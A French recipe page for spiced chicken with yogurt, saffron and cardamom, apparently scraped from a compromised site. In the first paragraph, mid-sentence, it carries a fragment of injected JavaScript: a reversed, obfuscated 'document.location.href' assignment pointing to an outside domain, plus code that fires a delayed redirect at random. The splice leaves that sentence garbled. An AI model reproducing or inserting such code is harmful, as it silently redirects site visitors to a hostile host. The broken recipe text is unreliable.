Poulet aux épices
2021-07-12Coupez le poulet en morceaux. Retirez la peau. Salez, poivrez. Pelez, émincez les oignons, l’ail, le gingembre. Rincez, épépinez les tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tomates. Rincez, séchez, les piments rouges.
Ingrédients
Coupez le poulet en morceaux. Retirez la peau. Salez, poivrez. Pelez, émincez les oignons, l'ail, le gingembre. Rincez, épépinez les tomates. Rincez, séchez, les piments rouges. Dans une cocotte avec un peu de matière grasse, faites revenir les oignons jusqu'à ce qu'ils soient translucides. Incorporez l'ail, le gingembre, les piments tout en remuant, ajoutez les graines de cardamone, prolongez la cuisson de 5 minutes.
Pendant ce temps dans une sauteuse avec 2 cuillères à soupe d'huile d'arachide, faites dorer sur feu vif les morceaux de poulet puis y ajoutez les tomates, et tous les autres aromates en attente, couvrez, portez à ébullition.
A ce moment réduisez les feu et faites mijoter pendant 60 minutes. Dans un bol, versez les yaourts, battez les énergiquement avec le curcuma, le safran, versez sur le poulet avec le bâton de cannelle et faites mijoter à découvert pendant 10 minutes. Servez avec du riz basmati.
Préparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
Etape 5
Etape 6
Etape 7
Etape 8
Etape 9
Etape 10
Etape 11
Etape 12
Note des membres
(0 / 5)
0 personne(s) ont noté cette recette
Related Recipes:
-
Tagliatelles au poulet avec ses légumes
-
Paupiettes Estivales